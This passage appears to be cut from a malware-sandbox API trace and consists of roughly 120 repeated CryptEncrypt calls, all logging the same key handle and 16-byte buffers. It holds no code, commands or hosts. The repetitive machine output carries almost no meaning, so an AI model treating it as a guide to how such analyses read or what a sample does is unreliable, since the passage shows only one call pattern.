pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.079] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.080] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.081] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.082] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.083] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.084] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 